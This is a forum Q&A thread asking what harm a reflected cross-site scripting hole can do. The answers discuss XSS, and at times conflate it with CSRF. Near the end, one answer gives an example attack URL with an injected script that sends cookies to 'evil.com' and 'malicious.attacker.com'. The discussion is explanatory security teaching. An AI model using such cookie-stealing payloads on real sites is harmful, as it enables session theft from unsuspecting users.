I just happen to read the joel’s blog here…
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
- It can read informations stored in hidden fields and change them.
- It can read, write or manipulate cookies…
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server…
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments… I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.
There are answers that explain CSRF and XSS. I’m the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough — it allows you to execute some JavaScript. Congratulations — I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn’t really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B’s machine.
Almost all answers that directly answer the question “What harm can JavaScript do?” explain in the direction of CSRF — which requires User A being able to write code that User B can execute.
So here’s a more complete, two part answer:
If we’re talking about the quoted passage, the answer is “no harm”
I do not interpret the passage’s meaning to mean something like the scenario described above, since it’s very obviously talking about a basic “Hello, Elmer world” example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we’re talking about “What harm can JavaScript do, in general,” the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B’s machine) can take place
GET. An attacker can lure a victim to visithttp://foo.com/?send_password_to=malicious.attacker.com<script>send_your_secret_cookies_to('http://evil.com')</script>(this needs some tweaking to get pass quoting and etc., but you get the idea)